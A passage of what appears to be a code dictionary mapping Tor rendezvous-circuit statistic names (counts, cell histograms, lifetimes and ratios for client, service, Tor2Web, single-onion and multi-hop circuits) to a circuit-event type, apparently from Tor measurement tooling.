'RendUActiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'RendUActiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendUActiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendUActiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendUActiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendUActiveSuccessCircuitCellRatio' : { CIRCUIT_EVENT },
'RendUActiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'RendUInactiveCircuitCount' : { CIRCUIT_EVENT },
'RendUInactiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendUInactiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendUInactiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendUInactiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendUInactiveCircuitLifeTime' : { CIRCUIT_EVENT },
'RendUInactiveFailureCircuitCount' : { CIRCUIT_EVENT },
'RendUInactiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendUInactiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendUInactiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendUInactiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendUInactiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'RendUInactiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'RendUInactiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendUInactiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendUInactiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendUInactiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendUInactiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'RendUClientCircuitCount' : { CIRCUIT_EVENT },
'RendUClientCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendUClientCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendUClientCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendUClientCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendUClientCircuitLifeTime' : { CIRCUIT_EVENT },
'RendUClientFailureCircuitCount' : { CIRCUIT_EVENT },
'RendUClientFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendUClientFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendUClientFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendUClientFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendUClientFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'RendUClientSuccessCircuitCount' : { CIRCUIT_EVENT },
'RendUClientSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendUClientSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendUClientSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendUClientSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendUClientSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'RendUClientActiveCircuitCount' : { CIRCUIT_EVENT },
'RendUClientActiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendUClientActiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendUClientActiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendUClientActiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendUClientActiveCircuitCellRatio' : { CIRCUIT_EVENT },
'RendUClientActiveCircuitLifeTime' : { CIRCUIT_EVENT },
'RendUClientActiveFailureCircuitCount' : { CIRCUIT_EVENT },
'RendUClientActiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendUClientActiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendUClientActiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendUClientActiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendUClientActiveFailureCircuitCellRatio' : { CIRCUIT_EVENT },
'RendUClientActiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'RendUClientActiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'RendUClientActiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendUClientActiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendUClientActiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendUClientActiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendUClientActiveSuccessCircuitCellRatio' : { CIRCUIT_EVENT },
'RendUClientActiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'RendUClientInactiveCircuitCount' : { CIRCUIT_EVENT },
'RendUClientInactiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendUClientInactiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendUClientInactiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendUClientInactiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendUClientInactiveCircuitLifeTime' : { CIRCUIT_EVENT },
'RendUClientInactiveFailureCircuitCount' : { CIRCUIT_EVENT },
'RendUClientInactiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendUClientInactiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendUClientInactiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendUClientInactiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendUClientInactiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'RendUClientInactiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'RendUClientInactiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendUClientInactiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendUClientInactiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendUClientInactiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendUClientInactiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'RendUServiceCircuitCount' : { CIRCUIT_EVENT },
'RendUServiceCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendUServiceCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendUServiceCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendUServiceCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendUServiceCircuitLifeTime' : { CIRCUIT_EVENT },
'RendUServiceFailureCircuitCount' : { CIRCUIT_EVENT },
'RendUServiceFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendUServiceFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendUServiceFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendUServiceFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendUServiceFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'RendUServiceSuccessCircuitCount' : { CIRCUIT_EVENT },
'RendUServiceSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendUServiceSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendUServiceSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendUServiceSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendUServiceSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'RendUServiceActiveCircuitCount' : { CIRCUIT_EVENT },
'RendUServiceActiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendUServiceActiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendUServiceActiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendUServiceActiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendUServiceActiveCircuitCellRatio' : { CIRCUIT_EVENT },
'RendUServiceActiveCircuitLifeTime' : { CIRCUIT_EVENT },
'RendUServiceActiveFailureCircuitCount' : { CIRCUIT_EVENT },
'RendUServiceActiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendUServiceActiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendUServiceActiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendUServiceActiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendUServiceActiveFailureCircuitCellRatio' : { CIRCUIT_EVENT },
'RendUServiceActiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'RendUServiceActiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'RendUServiceActiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendUServiceActiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendUServiceActiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendUServiceActiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendUServiceActiveSuccessCircuitCellRatio' : { CIRCUIT_EVENT },
'RendUServiceActiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'RendUServiceInactiveCircuitCount' : { CIRCUIT_EVENT },
'RendUServiceInactiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendUServiceInactiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendUServiceInactiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendUServiceInactiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendUServiceInactiveCircuitLifeTime' : { CIRCUIT_EVENT },
'RendUServiceInactiveFailureCircuitCount' : { CIRCUIT_EVENT },
'RendUServiceInactiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendUServiceInactiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendUServiceInactiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendUServiceInactiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendUServiceInactiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'RendUServiceInactiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'RendUServiceInactiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendUServiceInactiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendUServiceInactiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendUServiceInactiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendUServiceInactiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'RendUTor2WebClientCircuitCount' : { CIRCUIT_EVENT },
'RendUTor2WebClientCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendUTor2WebClientCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendUTor2WebClientCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendUTor2WebClientCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendUTor2WebClientCircuitLifeTime' : { CIRCUIT_EVENT },
'RendUTor2WebClientFailureCircuitCount' : { CIRCUIT_EVENT },
'RendUTor2WebClientFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendUTor2WebClientFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendUTor2WebClientFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendUTor2WebClientFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendUTor2WebClientFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'RendUTor2WebClientSuccessCircuitCount' : { CIRCUIT_EVENT },
'RendUTor2WebClientSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendUTor2WebClientSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendUTor2WebClientSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendUTor2WebClientSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendUTor2WebClientSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'RendUTor2WebClientActiveCircuitCount' : { CIRCUIT_EVENT },
'RendUTor2WebClientActiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendUTor2WebClientActiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendUTor2WebClientActiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendUTor2WebClientActiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendUTor2WebClientActiveCircuitCellRatio' : { CIRCUIT_EVENT },
'RendUTor2WebClientActiveCircuitLifeTime' : { CIRCUIT_EVENT },
'RendUTor2WebClientActiveFailureCircuitCount' : { CIRCUIT_EVENT },
'RendUTor2WebClientActiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendUTor2WebClientActiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendUTor2WebClientActiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendUTor2WebClientActiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendUTor2WebClientActiveFailureCircuitCellRatio' : { CIRCUIT_EVENT },
'RendUTor2WebClientActiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'RendUTor2WebClientActiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'RendUTor2WebClientActiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendUTor2WebClientActiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendUTor2WebClientActiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendUTor2WebClientActiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendUTor2WebClientActiveSuccessCircuitCellRatio' : { CIRCUIT_EVENT },
'RendUTor2WebClientActiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'RendUTor2WebClientInactiveCircuitCount' : { CIRCUIT_EVENT },
'RendUTor2WebClientInactiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendUTor2WebClientInactiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendUTor2WebClientInactiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendUTor2WebClientInactiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendUTor2WebClientInactiveCircuitLifeTime' : { CIRCUIT_EVENT },
'RendUTor2WebClientInactiveFailureCircuitCount' : { CIRCUIT_EVENT },
'RendUTor2WebClientInactiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendUTor2WebClientInactiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendUTor2WebClientInactiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendUTor2WebClientInactiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendUTor2WebClientInactiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'RendUTor2WebClientInactiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'RendUTor2WebClientInactiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendUTor2WebClientInactiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendUTor2WebClientInactiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendUTor2WebClientInactiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendUTor2WebClientInactiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'RendUSingleOnionServiceCircuitCount' : { CIRCUIT_EVENT },
'RendUSingleOnionServiceCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendUSingleOnionServiceCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendUSingleOnionServiceCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendUSingleOnionServiceCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendUSingleOnionServiceCircuitLifeTime' : { CIRCUIT_EVENT },
'RendUSingleOnionServiceFailureCircuitCount' : { CIRCUIT_EVENT },
'RendUSingleOnionServiceFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendUSingleOnionServiceFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendUSingleOnionServiceFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendUSingleOnionServiceFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendUSingleOnionServiceFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'RendUSingleOnionServiceSuccessCircuitCount' : { CIRCUIT_EVENT },
'RendUSingleOnionServiceSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendUSingleOnionServiceSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendUSingleOnionServiceSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendUSingleOnionServiceSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendUSingleOnionServiceSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'RendUSingleOnionServiceActiveCircuitCount' : { CIRCUIT_EVENT },
'RendUSingleOnionServiceActiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendUSingleOnionServiceActiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendUSingleOnionServiceActiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendUSingleOnionServiceActiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendUSingleOnionServiceActiveCircuitCellRatio' : { CIRCUIT_EVENT },
'RendUSingleOnionServiceActiveCircuitLifeTime' : { CIRCUIT_EVENT },
'RendUSingleOnionServiceActiveFailureCircuitCount' : { CIRCUIT_EVENT },
'RendUSingleOnionServiceActiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendUSingleOnionServiceActiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendUSingleOnionServiceActiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendUSingleOnionServiceActiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendUSingleOnionServiceActiveFailureCircuitCellRatio' : { CIRCUIT_EVENT },
'RendUSingleOnionServiceActiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'RendUSingleOnionServiceActiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'RendUSingleOnionServiceActiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendUSingleOnionServiceActiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendUSingleOnionServiceActiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendUSingleOnionServiceActiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendUSingleOnionServiceActiveSuccessCircuitCellRatio' : { CIRCUIT_EVENT },
'RendUSingleOnionServiceActiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'RendUSingleOnionServiceInactiveCircuitCount' : { CIRCUIT_EVENT },
'RendUSingleOnionServiceInactiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendUSingleOnionServiceInactiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendUSingleOnionServiceInactiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendUSingleOnionServiceInactiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendUSingleOnionServiceInactiveCircuitLifeTime' : { CIRCUIT_EVENT },
'RendUSingleOnionServiceInactiveFailureCircuitCount' : { CIRCUIT_EVENT },
'RendUSingleOnionServiceInactiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendUSingleOnionServiceInactiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendUSingleOnionServiceInactiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendUSingleOnionServiceInactiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendUSingleOnionServiceInactiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'RendUSingleOnionServiceInactiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'RendUSingleOnionServiceInactiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendUSingleOnionServiceInactiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendUSingleOnionServiceInactiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendUSingleOnionServiceInactiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendUSingleOnionServiceInactiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'RendUMultiHopClientCircuitCount' : { CIRCUIT_EVENT },
'RendUMultiHopClientCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendUMultiHopClientCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendUMultiHopClientCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendUMultiHopClientCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendUMultiHopClientCircuitLifeTime' : { CIRCUIT_EVENT },
'RendUMultiHopClientFailureCircuitCount' : { CIRCUIT_EVENT },
'RendUMultiHopClientFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendUMultiHopClientFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendUMultiHopClientFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendUMultiHopClientFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendUMultiHopClientFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'RendUMultiHopClientSuccessCircuitCount' : { CIRCUIT_EVENT },
'RendUMultiHopClientSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendUMultiHopClientSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendUMultiHopClientSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendUMultiHopClientSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendUMultiHopClientSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'RendUMultiHopClientActiveCircuitCount' : { CIRCUIT_EVENT },
'RendUMultiHopClientActiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendUMultiHopClientActiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendUMultiHopClientActiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendUMultiHopClientActiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendUMultiHopClientActiveCircuitCellRatio' : { CIRCUIT_EVENT },
'RendUMultiHopClientActiveCircuitLifeTime' : { CIRCUIT_EVENT },
'RendUMultiHopClientActiveFailureCircuitCount' : { CIRCUIT_EVENT },
'RendUMultiHopClientActiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendUMultiHopClientActiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendUMultiHopClientActiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendUMultiHopClientActiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendUMultiHopClientActiveFailureCircuitCellRatio' : { CIRCUIT_EVENT },
'RendUMultiHopClientActiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'RendUMultiHopClientActiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'RendUMultiHopClientActiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendUMultiHopClientActiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendUMultiHopClientActiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendUMultiHopClientActiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendUMultiHopClientActiveSuccessCircuitCellRatio' : { CIRCUIT_EVENT },
'RendUMultiHopClientActiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'RendUMultiHopClientInactiveCircuitCount' : { CIRCUIT_EVENT },
'RendUMultiHopClientInactiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendUMultiHopClientInactiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendUMultiHopClientInactiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendUMultiHopClientInactiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendUMultiHopClientInactiveCircuitLifeTime' : { CIRCUIT_EVENT },
'RendUMultiHopClientInactiveFailureCircuitCount' : { CIRCUIT_EVENT },
'RendUMultiHopClientInactiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendUMultiHopClientInactiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendUMultiHopClientInactiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendUMultiHopClientInactiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendUMultiHopClientInactiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'RendUMultiHopClientInactiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'RendUMultiHopClientInactiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendUMultiHopClientInactiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendUMultiHopClientInactiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendUMultiHopClientInactiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendUMultiHopClientInactiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'RendUMultiHopServiceCircuitCount' : { CIRCUIT_EVENT },
'RendUMultiHopServiceCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendUMultiHopServiceCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendUMultiHopServiceCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendUMultiHopServiceCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendUMultiHopServiceCircuitLifeTime' : { CIRCUIT_EVENT },
'RendUMultiHopServiceFailureCircuitCount' : { CIRCUIT_EVENT },
'RendUMultiHopServiceFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendUMultiHopServiceFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendUMultiHopServiceFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendUMultiHopServiceFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendUMultiHopServiceFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'RendUMultiHopServiceSuccessCircuitCount' : { CIRCUIT_EVENT },
'RendUMultiHopServiceSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendUMultiHopServiceSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendUMultiHopServiceSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendUMultiHopServiceSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendUMultiHopServiceSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'RendUMultiHopServiceActiveCircuitCount' : { CIRCUIT_EVENT },
'RendUMultiHopServiceActiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendUMultiHopServiceActiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendUMultiHopServiceActiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendUMultiHopServiceActiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendUMultiHopServiceActiveCircuitCellRatio' : { CIRCUIT_EVENT },
'RendUMultiHopServiceActiveCircuitLifeTime' : { CIRCUIT_EVENT },
'RendUMultiHopServiceActiveFailureCircuitCount' : { CIRCUIT_EVENT },
'RendUMultiHopServiceActiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendUMultiHopServiceActiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendUMultiHopServiceActiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendUMultiHopServiceActiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendUMultiHopServiceActiveFailureCircuitCellRatio' : { CIRCUIT_EVENT },
'RendUMultiHopServiceActiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'RendUMultiHopServiceActiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'RendUMultiHopServiceActiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendUMultiHopServiceActiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendUMultiHopServiceActiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendUMultiHopServiceActiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendUMultiHopServiceActiveSuccessCircuitCellRatio' : { CIRCUIT_EVENT },
'RendUMultiHopServiceActiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'RendUMultiHopServiceInactiveCircuitCount' : { CIRCUIT_EVENT },
'RendUMultiHopServiceInactiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendUMultiHopServiceInactiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendUMultiHopServiceInactiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendUMultiHopServiceInactiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendUMultiHopServiceInactiveCircuitLifeTime' : { CIRCUIT_EVENT },
'RendUMultiHopServiceInactiveFailureCircuitCount' : { CIRCUIT_EVENT },
'RendUMultiHopServiceInactiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
